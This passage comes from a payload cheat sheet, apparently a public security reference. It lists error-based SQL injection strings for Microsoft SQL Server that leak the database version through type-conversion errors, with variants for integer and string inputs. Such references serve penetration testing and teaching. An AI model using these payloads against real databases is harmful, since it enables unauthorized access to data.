| Name | Payload | | ------- | ---------------------------------------------------------------- | | CONVERT | `AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -` | | IN | `AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -` | | EQUAL | `AND 1337=CONCAT('~',(SELECT @@version),'~') -- -` | | CAST | `CAST((SELECT @@version) AS INT)` | * For integer inputs ```sql convert(int,@@version) cast((SELECT @@version) as int) ``` * For string inputs ```sql ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + ' ```
Source: SQL Injection/MSSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.